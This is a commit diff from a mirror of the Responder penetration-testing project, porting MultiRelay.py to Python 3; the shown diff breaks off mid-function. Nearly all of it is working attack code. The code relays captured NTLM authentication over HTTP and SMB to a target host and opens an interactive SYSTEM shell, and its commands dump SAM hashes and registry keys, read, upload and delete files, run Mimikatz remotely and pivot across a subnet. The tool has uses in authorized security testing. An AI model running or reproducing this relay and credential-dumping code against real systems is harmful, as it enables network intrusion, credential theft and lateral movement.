PenTest/Responder
1
0
Fork 0
mirror of https://github.com/lgandx/Responder.git synced 2025-12-14 03:39:04 +00:00
Code Issues Projects Releases Wiki Activity

Ported MultiRelay to python3 + enhancements.

Browse Source
This commit is contained in:
lgandx
2021-02-08 15:11:31 -03:00
parent 24e7b7c667
commit 4bddf50b5c
82 changed files with 64692 additions and 4466 deletions
Download Patch File Download Diff File Expand all files Collapse all files

271
tools/MultiRelay.py
View File

@@ -1,4 +1,5 @@
#!/usr/bin/env python #!/usr/bin/env python
# -*- coding: latin-1 -*-
# This file is part of Responder, a network take-over set of tools # This file is part of Responder, a network take-over set of tools
# created and maintained by Laurent Gaffie. # created and maintained by Laurent Gaffie.
# email: laurent.gaffie@gmail.com # email: laurent.gaffie@gmail.com
@@ -15,6 +16,11 @@
# You should have received a copy of the GNU General Public License # You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>. # along with this program. If not, see <http://www.gnu.org/licenses/>.
import sys import sys
if (sys.version_info > (3, 0)):
PY2OR3 = "PY3"
else:
PY2OR3 = "PY2"
sys.exit("For now MultiRelay only supports python 3. Try python3 MultiRelay.py ...")
import re import re
import os import os
import logging import logging
@@ -23,26 +29,29 @@ import time
import random import random
import subprocess import subprocess
from threading import Thread from threading import Thread
from SocketServer import TCPServer, UDPServer, ThreadingMixIn, BaseRequestHandler if PY2OR3 is "PY3":
from socketserver import TCPServer, UDPServer, ThreadingMixIn, BaseRequestHandler
else:
from SocketServer import TCPServer, UDPServer, ThreadingMixIn, BaseRequestHandler
try: try:
from Crypto.Hash import MD5 from Crypto.Hash import MD5
except ImportError: except ImportError:
print "\033[1;31m\nCrypto lib is not installed. You won't be able to live dump the hashes." print("\033[1;31m\nCrypto lib is not installed. You won't be able to live dump the hashes.")
print "You can install it on debian based os with this command: apt-get install python-crypto" print("You can install it on debian based os with this command: apt-get install python-crypto")
print "The Sam file will be saved anyway and you will have the bootkey.\033[0m\n" print("The Sam file will be saved anyway and you will have the bootkey.\033[0m\n")
try: try:
import readline import readline
except: except:
print "Warning: readline module is not available, you will not be able to use the arrow keys for command history" print("Warning: readline module is not available, you will not be able to use the arrow keys for command history")
pass pass
from MultiRelay.RelayMultiPackets import * from MultiRelay.RelayMultiPackets import *
from MultiRelay.RelayMultiCore import * from MultiRelay.RelayMultiCore import *
from SMBFinger.Finger import RunFinger,ShowSigning,RunPivotScan from SMBFinger.Finger import RunFinger,ShowSigning,RunPivotScan
sys.path.append(os.path.abspath(os.path.join(os.path.dirname(__file__), '../'))) sys.path.append(os.path.abspath(os.path.join(os.path.dirname(__file__), '../')))
from socket import * from socket import *
__version__ = "2.0" __version__ = "2.5"
MimikatzFilename = "./MultiRelay/bin/mimikatz.exe" MimikatzFilename = "./MultiRelay/bin/mimikatz.exe"
@@ -72,18 +81,18 @@ parser.add_option('-d', '--dump', action="store_true", help="Dump hashes (script
options, args = parser.parse_args() options, args = parser.parse_args()
if options.TARGET is None: if options.TARGET is None:
print "\n-t Mandatory option is missing, please provide a target.\n" print("\n-t Mandatory option is missing, please provide a target.\n")
parser.print_help() parser.print_help()
exit(-1) exit(-1)
if options.UserToRelay is None: if options.UserToRelay is None:
print "\n-u Mandatory option is missing, please provide a username to relay.\n" print("\n-u Mandatory option is missing, please provide a username to relay.\n")
parser.print_help() parser.print_help()
exit(-1) exit(-1)
if options.ExtraPort is None: if options.ExtraPort is None:
options.ExtraPort = 0 options.ExtraPort = 0
if not os.geteuid() == 0: if not os.geteuid() == 0:
print color("[!] MultiRelay must be run as root.") print((color("[!] MultiRelay must be run as root.")))
sys.exit(-1) sys.exit(-1)
OneCommand = options.OneCommand OneCommand = options.OneCommand
@@ -101,59 +110,80 @@ def color(txt, code = 1, modifier = 0):
return "\033[%d;3%dm%s\033[0m" % (modifier, code, txt) return "\033[%d;3%dm%s\033[0m" % (modifier, code, txt)
def ShowWelcome(): def ShowWelcome():
print color('\nResponder MultiRelay %s NTLMv1/2 Relay' %(__version__),8,1) print(color('\nResponder MultiRelay %s NTLMv1/2 Relay' %(__version__),8,1))
print '\nSend bugs/hugs/comments to: laurent.gaffie@gmail.com' print('\nSend bugs/hugs/comments to: laurent.gaffie@gmail.com')
print 'Usernames to relay (-u) are case sensitive.' print('Usernames to relay (-u) are case sensitive.')
print 'To kill this script hit CTRL-C.\n' print('To kill this script hit CTRL-C.\n')
print color('/*',8,1) print(color('/*',8,1))
print 'Use this script in combination with Responder.py for best results.' print('Use this script in combination with Responder.py for best results.')
print 'Make sure to set SMB and HTTP to OFF in Responder.conf.\n' print('Make sure to set SMB and HTTP to OFF in Responder.conf.\n')
print 'This tool listen on TCP port 80, 3128 and 445.' print('This tool listen on TCP port 80, 3128 and 445.')
print 'For optimal pwnage, launch Responder only with these 2 options:' print('For optimal pwnage, launch Responder only with these 2 options:')
print '-rv\nAvoid running a command that will likely prompt for information like net use, etc.' print('-rv\nAvoid running a command that will likely prompt for information like net use, etc.')
print 'If you do so, use taskkill (as system) to kill the process.' print('If you do so, use taskkill (as system) to kill the process.')
print color('*/',8,1) print(color('*/',8,1))
print color('\nRelaying credentials for these users:',8,1) print(color('\nRelaying credentials for these users:',8,1))
print color(UserToRelay,4,1) print(color(UserToRelay,4,1))
print '\n' print('\n')
ShowWelcome() ShowWelcome()
def ShowHelp(): def ShowHelp():
print color('Available commands:',8,0) print(color('Available commands:',8,0))
print color('dump',8,1)+' -> Extract the SAM database and print hashes.' print(color('dump',8,1)+' -> Extract the SAM database and print hashes.')
print color('regdump KEY',8,1)+' -> Dump an HKLM registry key (eg: regdump SYSTEM)' print(color('regdump KEY',8,1)+' -> Dump an HKLM registry key (eg: regdump SYSTEM)')
print color('read Path_To_File',8,1)+' -> Read a file (eg: read /windows/win.ini)' print(color('read Path_To_File',8,1)+' -> Read a file (eg: read /windows/win.ini)')
print color('get Path_To_File',8,1)+' -> Download a file (eg: get users/administrator/desktop/password.txt)' print(color('get Path_To_File',8,1)+' -> Download a file (eg: get users/administrator/desktop/password.txt)')
print color('delete Path_To_File',8,1)+'-> Delete a file (eg: delete /windows/temp/executable.exe)' print(color('delete Path_To_File',8,1)+'-> Delete a file (eg: delete /windows/temp/executable.exe)')
print color('upload Path_To_File',8,1)+'-> Upload a local file (eg: upload /home/user/bk.exe), files will be uploaded in \\windows\\temp\\' print(color('upload Path_To_File',8,1)+'-> Upload a local file (eg: upload /home/user/bk.exe), files will be uploaded in \\windows\\temp\\')
print color('runas Command',8,1)+' -> Run a command as the currently logged in user. (eg: runas whoami)' print(color('runas Command',8,1)+' -> Run a command as the currently logged in user. (eg: runas whoami)')
print color('scan /24',8,1)+' -> Scan (Using SMB) this /24 or /16 to find hosts to pivot to' print(color('scan /24',8,1)+' -> Scan (Using SMB) this /24 or /16 to find hosts to pivot to')
print color('pivot IP address',8,1)+' -> Connect to another host (eg: pivot 10.0.0.12)' print(color('pivot IP address',8,1)+' -> Connect to another host (eg: pivot 10.0.0.12)')
print color('mimi command',8,1)+' -> Run a remote Mimikatz 64 bits command (eg: mimi coffee)' print(color('mimi command',8,1)+' -> Run a remote Mimikatz 64 bits command (eg: mimi coffee)')
print color('mimi32 command',8,1)+' -> Run a remote Mimikatz 32 bits command (eg: mimi coffee)' print(color('mimi32 command',8,1)+' -> Run a remote Mimikatz 32 bits command (eg: mimi coffee)')
print color('lcmd command',8,1)+' -> Run a local command and display the result in MultiRelay shell (eg: lcmd ifconfig)' print(color('lcmd command',8,1)+' -> Run a local command and display the result in MultiRelay shell (eg: lcmd ifconfig)')
print color('help',8,1)+' -> Print this message.' print(color('help',8,1)+' -> Print this message.')
print color('exit',8,1)+' -> Exit this shell and return in relay mode.' print(color('exit',8,1)+' -> Exit this shell and return in relay mode.')
print ' If you want to quit type exit and then use CTRL-C\n' print(' If you want to quit type exit and then use CTRL-C\n')
print color('Any other command than that will be run as SYSTEM on the target.\n',8,1) print(color('Any other command than that will be run as SYSTEM on the target.\n',8,1))
Logs_Path = os.path.abspath(os.path.join(os.path.dirname(__file__)))+"/../" Logs_Path = os.path.abspath(os.path.join(os.path.dirname(__file__)))+"/../"
Logs = logging Logs = logging
Logs.basicConfig(filemode="w",filename=Logs_Path+'logs/SMBRelay-Session.txt',level=logging.INFO, format='%(asctime)s - %(message)s', datefmt='%m/%d/%Y %I:%M:%S %p') Logs.basicConfig(filemode="w",filename=Logs_Path+'logs/SMBRelay-Session.txt',level=logging.INFO, format='%(asctime)s - %(message)s', datefmt='%m/%d/%Y %I:%M:%S %p')
def NetworkSendBufferPython2or3(data):
if PY2OR3 is "PY2":
return str(data)
else:
return bytes(str(data), 'latin-1')
def NetworkRecvBufferPython2or3(data):
if PY2OR3 is "PY2":
return str(data)
else:
return str(data.decode('latin-1'))
def StructPython2or3(endian,data):
#Python2...
if PY2OR3 == "PY2":
return struct.pack(endian, len(data))
#Python3...
else:
return struct.pack(endian, len(data)).decode('latin-1')
def UploadContent(File): def UploadContent(File):
with file(File) as f: with open(File,'rb') as f:
s = f.read() s = f.read()
FileLen = len(s) FileLen = len(s.decode('latin-1'))
FileContent = s FileContent = s.decode('latin-1')
return FileLen, FileContent return FileLen, FileContent
try: try:
RunFinger(Host[0]) RunFinger(Host[0])
except: except:
print "The host %s seems to be down or port 445 down."%(Host[0]) raise
print("The host %s seems to be down or port 445 down."%(Host[0]))
sys.exit(1) sys.exit(1)
@@ -161,7 +191,7 @@ def get_command():
global Cmd global Cmd
Cmd = [] Cmd = []
while any(x in Cmd for x in Cmd) is False: while any(x in Cmd for x in Cmd) is False:
Cmd = [raw_input("C:\\Windows\\system32\\:#")] Cmd = [input("C:\\Windows\\system32\\:#")]
#Function used to make sure no connections are accepted while we have an open shell. #Function used to make sure no connections are accepted while we have an open shell.
#Used to avoid any possible broken pipe. #Used to avoid any possible broken pipe.
@@ -180,6 +210,7 @@ def IsPivotOn():
return False return False
#If there is return True. #If there is return True.
if Pivoting[0] == "1": if Pivoting[0] == "1":
print("pivot is on")
return True return True
def ConnectToTarget(): def ConnectToTarget():
@@ -190,14 +221,13 @@ def ConnectToTarget():
except: except:
try: try:
sys.exit(1) sys.exit(1)
print "Cannot connect to target, host down?" print("Cannot connect to target, host down?")
except: except:
pass pass
class HTTPProxyRelay(BaseRequestHandler): class HTTPProxyRelay(BaseRequestHandler):
def handle(self): def handle(self):
try: try:
#Don't handle requests while a shell is open. That's the goal after all. #Don't handle requests while a shell is open. That's the goal after all.
if IsShellOpen(): if IsShellOpen():
@@ -239,7 +269,7 @@ class HTTPProxyRelay(BaseRequestHandler):
t.calculate() t.calculate()
packet1 = str(head)+str(t) packet1 = str(head)+str(t)
buffer1 = longueur(packet1)+packet1 buffer1 = longueur(packet1)+packet1
s.send(buffer1) s.send(NetworkSendBufferPython2or3(buffer1))
smbdata = s.recv(2048) #got it here. smbdata = s.recv(2048) #got it here.
## Send HTTP Proxy ## Send HTTP Proxy
@@ -263,15 +293,14 @@ class HTTPProxyRelay(BaseRequestHandler):
#Let's send that NTLM auth message to ParseSMBHash which will make sure this user is allowed to login #Let's send that NTLM auth message to ParseSMBHash which will make sure this user is allowed to login
#and has not attempted before. While at it, let's grab his hash. #and has not attempted before. While at it, let's grab his hash.
Username, Domain = ParseHTTPHash(NTLM_Auth, key, self.client_address[0],UserToRelay,Host[0],Pivoting) Username, Domain = ParseHTTPHash(NTLM_Auth, key, self.client_address[0],UserToRelay,Host[0],Pivoting)
if Username is not None: if Username is not None:
head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x43\xc8",uid=smbdata[32:34],mid="\x03\x00") head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x43\xc8",uid=smbdata[32:34],mid="\x03\x00")
t = SMBSessionSetupAndxAUTH(Data=NTLM_Auth)#Final relay. t = SMBSessionSetupAndxAUTH(Data=NTLM_Auth)#Final relay.
t.calculate() t.calculate()
packet1 = str(head)+str(t) packet1 = str(head)+str(t)
buffer1 = longueur(packet1)+packet1 buffer1 = longueur(packet1)+packet1
print "[+] SMB Session Auth sent." print("[+] SMB Session Auth sent.")
s.send(buffer1) s.send(NetworkSendBufferPython2or3(buffer1))
smbdata = s.recv(2048) smbdata = s.recv(2048)
RunCmd = RunShellCmd(smbdata, s, self.client_address[0], Host, Username, Domain) RunCmd = RunShellCmd(smbdata, s, self.client_address[0], Host, Username, Domain)
if RunCmd is None: if RunCmd is None:
@@ -293,7 +322,6 @@ class HTTPProxyRelay(BaseRequestHandler):
class HTTPRelay(BaseRequestHandler): class HTTPRelay(BaseRequestHandler):
def handle(self): def handle(self):
try: try:
#Don't handle requests while a shell is open. That's the goal after all. #Don't handle requests while a shell is open. That's the goal after all.
if IsShellOpen(): if IsShellOpen():
@@ -311,7 +339,7 @@ class HTTPRelay(BaseRequestHandler):
Webdav = ServeOPTIONS(data) Webdav = ServeOPTIONS(data)
if Webdav: if Webdav:
#If it is, send the option answer, we'll send him to auth when we receive a profind. #If it is, send the option answer, we'll send him to auth when we receive a profind.
self.request.send(Webdav) self.request.send(NetworkSendBufferPython2or3(Webdav))
data = self.request.recv(4096) data = self.request.recv(4096)
NTLM_Auth = re.findall(r'(?<=Authorization: NTLM )[^\r]*', data) NTLM_Auth = re.findall(r'(?<=Authorization: NTLM )[^\r]*', data)
@@ -336,7 +364,7 @@ class HTTPRelay(BaseRequestHandler):
t.calculate() t.calculate()
packet1 = str(head)+str(t) packet1 = str(head)+str(t)
buffer1 = longueur(packet1)+packet1 buffer1 = longueur(packet1)+packet1
s.send(buffer1) s.send(NetworkSendBufferPython2or3(buffer1))
smbdata = s.recv(2048) #got it here. smbdata = s.recv(2048) #got it here.
## Send HTTP Response. ## Send HTTP Response.
@@ -367,8 +395,8 @@ class HTTPRelay(BaseRequestHandler):
t.calculate() t.calculate()
packet1 = str(head)+str(t) packet1 = str(head)+str(t)
buffer1 = longueur(packet1)+packet1 buffer1 = longueur(packet1)+packet1
print "[+] SMB Session Auth sent." print("[+] SMB Session Auth sent.")
s.send(buffer1) s.send(NetworkSendBufferPython2or3(buffer1))
smbdata = s.recv(2048) smbdata = s.recv(2048)
RunCmd = RunShellCmd(smbdata, s, self.client_address[0], Host, Username, Domain) RunCmd = RunShellCmd(smbdata, s, self.client_address[0], Host, Username, Domain)
if RunCmd is None: if RunCmd is None:
@@ -390,7 +418,6 @@ class HTTPRelay(BaseRequestHandler):
class SMBRelay(BaseRequestHandler): class SMBRelay(BaseRequestHandler):
def handle(self): def handle(self):
try: try:
#Don't handle requests while a shell is open. That's the goal after all. #Don't handle requests while a shell is open. That's the goal after all.
if IsShellOpen(): if IsShellOpen():
@@ -398,48 +425,49 @@ class SMBRelay(BaseRequestHandler):
except: except:
raise raise
s = ConnectToTarget()
try: try:
data = self.request.recv(4096) s = ConnectToTarget()
data = self.request.recv(8092)
##Negotiate proto answer. That's us. ##Negotiate proto answer. That's us.
if data[8:10] == "\x72\x00": if data[8:10] == b'\x72\x00':
head = SMBHeader(cmd="\x72",flag1="\x98", flag2="\x43\xc8", pid=pidcalc(data),mid=midcalc(data)) Header = SMBHeader(cmd="\x72",flag1="\x98", flag2="\x43\xc8", pid=pidcalc(data),mid=midcalc(data))
t = SMBRelayNegoAns(Dialect=Parse_Nego_Dialect(data)) Body = SMBRelayNegoAns(Dialect=Parse_Nego_Dialect(NetworkRecvBufferPython2or3(data)))
packet1 = str(head)+str(t) packet1 = str(Header)+str(Body)
buffer1 = longueur(packet1)+packet1 Buffer = StructPython2or3('>i', str(packet1))+str(packet1)
self.request.send(buffer1) self.request.send(NetworkSendBufferPython2or3(Buffer))
data = self.request.recv(4096) data = self.request.recv(4096)
## Make sure it's not a Kerberos auth. ## Make sure it's not a Kerberos auth.
if data.find("NTLM") != -1: if data.find(b'NTLM') is not -1:
## Start with nego protocol + session setup negotiate to our target. ## Start with nego protocol + session setup negotiate to our target.
data, smbdata, s, challenge = GrabNegotiateFromTarget(data, s, Pivoting) data, smbdata, s, challenge = GrabNegotiateFromTarget(data, s, Pivoting)
## Make sure it's not a Kerberos auth. ## Make sure it's not a Kerberos auth.
if data.find("NTLM") != -1: if data.find(b'NTLM') is not -1:
##Relay all that to our client. ##Relay all that to our client.
if data[8:10] == "\x73\x00": if data[8:10] == b'\x73\x00':
head = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x43\xc8", errorcode="\x16\x00\x00\xc0", pid=pidcalc(data),mid=midcalc(data)) head = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x43\xc8", errorcode="\x16\x00\x00\xc0", pid=pidcalc(data),mid=midcalc(data))
#NTLMv2 MIC calculation is a concat of all 3 NTLM (nego,challenge,auth) messages exchange. #NTLMv2 MIC calculation is a concat of all 3 NTLM (nego,challenge,auth) messages exchange.
#Then simply grab the whole session setup packet except the smb header from the client and pass it to the server. #Then simply grab the whole session setup packet except the smb header from the client and pass it to the server.
t = smbdata[36:] t = smbdata[36:].decode('latin-1')
packet0 = str(head)+str(t) packet0 = str(head)+str(t)
buffer0 = longueur(packet0)+packet0 buffer0 = longueur(packet0)+packet0
self.request.send(buffer0) self.request.send(NetworkSendBufferPython2or3(buffer0))
data = self.request.recv(4096) data = self.request.recv(4096)
else: else:
#if it's kerberos, ditch the connection. #if it's kerberos, ditch the connection.
s.close() s.close()
return None return None
if IsSMBAnonymous(data): if IsSMBAnonymous(NetworkSendBufferPython2or3(data)):
##Send logon failure for anonymous logins. ##Send logon failure for anonymous logins.
head = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x43\xc8", errorcode="\x6d\x00\x00\xc0", pid=pidcalc(data),mid=midcalc(data)) head = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x43\xc8", errorcode="\x6d\x00\x00\xc0", pid=pidcalc(data),mid=midcalc(data))
t = SMBSessEmpty() t = SMBSessEmpty()
packet1 = str(head)+str(t) packet1 = str(head)+str(t)
buffer1 = longueur(packet1)+packet1 buffer1 = longueur(packet1)+packet1
self.request.send(buffer1) self.request.send(NetworkSendBufferPython2or3(buffer1))
s.close() s.close()
return None return None
@@ -449,15 +477,15 @@ class SMBRelay(BaseRequestHandler):
Username, Domain = ParseSMBHash(data,self.client_address[0],challenge,UserToRelay,Host[0],Pivoting) Username, Domain = ParseSMBHash(data,self.client_address[0],challenge,UserToRelay,Host[0],Pivoting)
if Username is not None: if Username is not None:
##Got the ntlm message 3, send it over to SMB. ##Got the ntlm message 3, send it over to SMB.
head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x43\xc8",uid=smbdata[32:34],mid="\x03\x00") head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x43\xc8",uid=smbdata[32:34].decode('latin-1'),mid="\x03\x00")
t = data[36:]#Final relay. t = data[36:].decode('latin-1')#Final relay.
packet1 = str(head)+str(t) packet1 = str(head)+str(t)
buffer1 = longueur(packet1)+packet1 buffer1 = longueur(packet1)+packet1
if Pivoting[0] == "1": if Pivoting[0] == "1":
pass pass
else: else:
print "[+] SMB Session Auth sent." print("[+] SMB Session Auth sent.")
s.send(buffer1) s.send(NetworkSendBufferPython2or3(buffer1))
smbdata = s.recv(4096) smbdata = s.recv(4096)
#We're all set, dropping into shell. #We're all set, dropping into shell.
RunCmd = RunShellCmd(smbdata, s, self.client_address[0], Host, Username, Domain) RunCmd = RunShellCmd(smbdata, s, self.client_address[0], Host, Username, Domain)
@@ -474,7 +502,7 @@ class SMBRelay(BaseRequestHandler):
t = SMBSessEmpty() t = SMBSessEmpty()
packet1 = str(head)+str(t) packet1 = str(head)+str(t)
buffer1 = longueur(packet1)+packet1 buffer1 = longueur(packet1)+packet1
self.request.send(buffer1) self.request.send(NetworkSendBufferPython2or3(buffer1))
data = self.request.recv(4096) data = self.request.recv(4096)
self.request.close() self.request.close()
return None return None
@@ -498,91 +526,91 @@ def RunShellCmd(data, s, clientIP, Target, Username, Domain):
ShellOpen = ["Shell is open"] ShellOpen = ["Shell is open"]
# On this block we do some verifications before dropping the user into the shell. # On this block we do some verifications before dropping the user into the shell.
if data[8:10] == "\x73\x6d": if data[8:10] == b'\x73\x6d':
print "[+] Relay failed, Logon Failure. This user doesn't have an account on this target." print("[+] Relay failed, Logon Failure. This user doesn't have an account on this target.")
print "[+] Hashes were saved anyways in Responder/logs/ folder.\n" print("[+] Hashes were saved anyways in Responder/logs/ folder.\n")
Logs.info(clientIP+":"+Username+":"+Domain+":"+Target[0]+":Logon Failure") Logs.info(clientIP+":"+Username+":"+Domain+":"+Target[0]+":Logon Failure")
del ShellOpen[:] del ShellOpen[:]
return False return False
if data[8:10] == "\x73\x8d": if data[8:10] == b'\x73\x8d':
print "[+] Relay failed, STATUS_TRUSTED_RELATIONSHIP_FAILURE returned. Credentials are good, but user is probably not using the target domain name in his credentials.\n" print("[+] Relay failed, STATUS_TRUSTED_RELATIONSHIP_FAILURE returned. Credentials are good, but user is probably not using the target domain name in his credentials.\n")
Logs.info(clientIP+":"+Username+":"+Domain+":"+Target[0]+":Logon Failure") Logs.info(clientIP+":"+Username+":"+Domain+":"+Target[0]+":Logon Failure")
del ShellOpen[:] del ShellOpen[:]
return False return False
if data[8:10] == "\x73\x5e": if data[8:10] == b'\x73\x5e':
print "[+] Relay failed, NO_LOGON_SERVER returned. Credentials are probably good, but the PDC is either offline or inexistant.\n" print("[+] Relay failed, NO_LOGON_SERVER returned. Credentials are probably good, but the PDC is either offline or inexistant.\n")
del ShellOpen[:] del ShellOpen[:]
return False return False
## Ok, we are supposed to be authenticated here, so first check if user has admin privs on C$: ## Ok, we are supposed to be authenticated here, so first check if user has admin privs on C$:
## Tree Connect ## Tree Connect
if data[8:10] == "\x73\x00": if data[8:10] == b'\x73\x00':
GetSessionResponseFlags(data)#While at it, verify if the target has returned a guest session. GetSessionResponseFlags(data)#While at it, verify if the target has returned a guest session.
head = SMBHeader(cmd="\x75",flag1="\x18", flag2="\x43\xc8",mid="\x04\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) head = SMBHeader(cmd="\x75",flag1="\x18", flag2="\x43\xc8",mid="\x04\x00",pid=data[30:32].decode('latin-1'),uid=data[32:34].decode('latin-1'),tid=data[28:30].decode('latin-1'))
t = SMBTreeConnectData(Path="\\\\"+Target[0]+"\\C$") t = SMBTreeConnectData(Path="\\\\"+Target[0]+"\\C$")
t.calculate() t.calculate()
packet1 = str(head)+str(t) packet1 = str(head)+str(t)
buffer1 = longueur(packet1)+packet1 buffer1 = longueur(packet1)+packet1
s.send(buffer1) s.send(NetworkSendBufferPython2or3(buffer1))
data = s.recv(2048) data = s.recv(2048)
## Nope he doesn't. ## Nope he doesn't.
if data[8:10] == "\x75\x22": if data[8:10] == b'\x75\x22':
if Pivoting[0] == "1": if Pivoting[0] == "1":
pass pass
else: else:
print "[+] Relay Failed, Tree Connect AndX denied. This is a low privileged user or SMB Signing is mandatory.\n[+] Hashes were saved anyways in Responder/logs/ folder.\n" print("[+] Relay Failed, Tree Connect AndX denied. This is a low privileged user or SMB Signing is mandatory.\n[+] Hashes were saved anyways in Responder/logs/ folder.\n")
Logs.info(clientIP+":"+Username+":"+Domain+":"+Target[0]+":Logon Failure") Logs.info(clientIP+":"+Username+":"+Domain+":"+Target[0]+":Logon Failure")
del ShellOpen[:] del ShellOpen[:]
return False return False
# This one should not happen since we always use the IP address of the target in our tree connects, but just in case.. # This one should not happen since we always use the IP address of the target in our tree connects, but just in case..
if data[8:10] == "\x75\xcc": if data[8:10] == b'\x75\xcc':
print "[+] Tree Connect AndX denied. Bad Network Name returned." print("[+] Tree Connect AndX denied. Bad Network Name returned.")
del ShellOpen[:] del ShellOpen[:]
return False return False
## Tree Connect on C$ is successfull. ## Tree Connect on C$ is successfull.
if data[8:10] == "\x75\x00": if data[8:10] == b'\x75\x00':
if Pivoting[0] == "1": if Pivoting[0] == "1":
pass pass
else: else:
print "[+] Looks good, "+Username+" has admin rights on C$." print("[+] Looks good, "+Username+" has admin rights on C$.")
head = SMBHeader(cmd="\x75",flag1="\x18", flag2="\x07\xc8",mid="\x04\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) head = SMBHeader(cmd="\x75",flag1="\x18", flag2="\x07\xc8",mid="\x04\x00",pid=data[30:32].decode('latin-1'),uid=data[32:34].decode('latin-1'),tid=data[28:30].decode('latin-1'))
t = SMBTreeConnectData(Path="\\\\"+Target[0]+"\\IPC$") t = SMBTreeConnectData(Path="\\\\"+Target[0]+"\\IPC$")
t.calculate() t.calculate()
packet1 = str(head)+str(t) packet1 = str(head)+str(t)
buffer1 = longueur(packet1)+packet1 buffer1 = longueur(packet1)+packet1
s.send(buffer1) s.send(NetworkSendBufferPython2or3(buffer1))
data = s.recv(2048) data = s.recv(2048)
## Run one command. ## Run one command.
if data[8:10] == "\x75\x00" and OneCommand != None or Dump: if data[8:10] == b'\x75\x00' and OneCommand != None or Dump:
print "[+] Authenticated." print("[+] Authenticated.")
if OneCommand != None: if OneCommand != None:
print "[+] Running command: %s"%(OneCommand) print("[+] Running command: %s"%(OneCommand))
RunCmd(data, s, clientIP, Username, Domain, OneCommand, Logs, Target[0]) RunCmd(data, s, clientIP, Username, Domain, OneCommand, Logs, Target[0])
if Dump: if Dump:
print "[+] Dumping hashes" print("[+] Dumping hashes")
DumpHashes(data, s, Target[0]) DumpHashes(data, s, Target[0])
os._exit(1) os._exit(1)
## Drop into the shell. ## Drop into the shell.
if data[8:10] == "\x75\x00" and OneCommand == None: if data[8:10] == b'\x75\x00' and OneCommand == None:
if Pivoting[0] == "1": if Pivoting[0] == "1":
pass pass
else: else:
print "[+] Authenticated.\n[+] Dropping into Responder's interactive shell, type \"exit\" to terminate\n" print("[+] Authenticated.\n[+] Dropping into Responder's interactive shell, type \"exit\" to terminate\n")
ShowHelp() ShowHelp()
Logs.info("Client:"+clientIP+", "+Domain+"\\"+Username+" --> Target: "+Target[0]+" -> Shell acquired") Logs.info("Client:"+clientIP+", "+Domain+"\\"+Username+" --> Target: "+Target[0]+" -> Shell acquired")
print color('Connected to %s as LocalSystem.'%(Target[0]),2,1) print(color('Connected to %s as LocalSystem.'%(Target[0]),2,1))
while True: while True:
## We either just arrived here or we're back from a command operation, let's setup some stuff. ## We either just arrived here or we're back from a command operation, let's setup some stuff.
if data[8:10] == "\x75\x00": if data[8:10] == b'\x75\x00':
#start a thread for raw_input, so we can do other stuff while we wait for a command. #start a thread for raw_input, so we can do other stuff while we wait for a command.
t = Thread(target=get_command, args=()) t = Thread(target=get_command, args=())
t.daemon = True t.daemon = True
@@ -617,7 +645,7 @@ def RunShellCmd(data, s, clientIP, Target, Username, Domain):
Help = re.findall('^help', Cmd[0]) Help = re.findall('^help', Cmd[0])
if Cmd[0] == "exit": if Cmd[0] == "exit":
print "[+] Returning in relay mode." print("[+] Returning in relay mode.")
del Cmd[:] del Cmd[:]
del ShellOpen[:] del ShellOpen[:]
return None return None
@@ -647,7 +675,7 @@ def RunShellCmd(data, s, clientIP, Target, Username, Domain):
data = WriteFile(data, s, File, FileSize, FileContent, Target[0]) data = WriteFile(data, s, File, FileSize, FileContent, Target[0])
del Cmd[:] del Cmd[:]
else: else:
print File+" does not exist, please specify a valid file." print(File+" does not exist, please specify a valid file.")
del Cmd[:] del Cmd[:]
if Delete: if Delete:
@@ -669,7 +697,7 @@ def RunShellCmd(data, s, clientIP, Target, Username, Domain):
data = RunAsCmd(data, s, clientIP, Username, Domain, Exec, Logs, Target[0], FileName) data = RunAsCmd(data, s, clientIP, Username, Domain, Exec, Logs, Target[0], FileName)
del Cmd[:] del Cmd[:]
else: else:
print RunAsFileName+" does not exist, please specify a valid file." print(RunAsFileName+" does not exist, please specify a valid file.")
del Cmd[:] del Cmd[:]
if LCmd: if LCmd:
@@ -685,7 +713,7 @@ def RunShellCmd(data, s, clientIP, Target, Username, Domain):
data = RunMimiCmd(data, s, clientIP, Username, Domain, Exec, Logs, Target[0],FileName) data = RunMimiCmd(data, s, clientIP, Username, Domain, Exec, Logs, Target[0],FileName)
del Cmd[:] del Cmd[:]
else: else:
print MimikatzFilename+" does not exist, please specify a valid file." print(MimikatzFilename+" does not exist, please specify a valid file.")
del Cmd[:] del Cmd[:]
if Mimi32: if Mimi32:
@@ -697,12 +725,12 @@ def RunShellCmd(data, s, clientIP, Target, Username, Domain):
data = RunMimiCmd(data, s, clientIP, Username, Domain, Exec, Logs, Target[0],FileName) data = RunMimiCmd(data, s, clientIP, Username, Domain, Exec, Logs, Target[0],FileName)
del Cmd[:] del Cmd[:]
else: else:
print Mimikatzx86Filename+" does not exist, please specify a valid file." print(Mimikatzx86Filename+" does not exist, please specify a valid file.")
del Cmd[:] del Cmd[:]
if Pivot: if Pivot:
if Pivot[0] == Target[0]: if Pivot[0] == Target[0]:
print "[Pivot Verification Failed]: You're already on this host. No need to pivot." print("[Pivot Verification Failed]: You're already on this host. No need to pivot.")
del Pivot[:] del Pivot[:]
del Cmd[:] del Cmd[:]
else: else:
@@ -718,7 +746,7 @@ def RunShellCmd(data, s, clientIP, Target, Username, Domain):
Status, data = VerifyPivot(data, s, clientIP, Username, Domain, Pivot[0], Logs, Target[0], RunAsPath, FileName) Status, data = VerifyPivot(data, s, clientIP, Username, Domain, Pivot[0], Logs, Target[0], RunAsPath, FileName)
if Status == True: if Status == True:
print "[+] Pivoting to %s."%(Pivot[0]) print("[+] Pivoting to %s."%(Pivot[0]))
if os.path.isfile(RunAsFileName): if os.path.isfile(RunAsFileName):
FileSize, FileContent = UploadContent(RunAsFileName) FileSize, FileContent = UploadContent(RunAsFileName)
data = WriteFile(data, s, FileName, FileSize, FileContent, Target[0]) data = WriteFile(data, s, FileName, FileSize, FileContent, Target[0])
@@ -734,11 +762,11 @@ def RunShellCmd(data, s, clientIP, Target, Username, Domain):
return None return None
if Status == False: if Status == False:
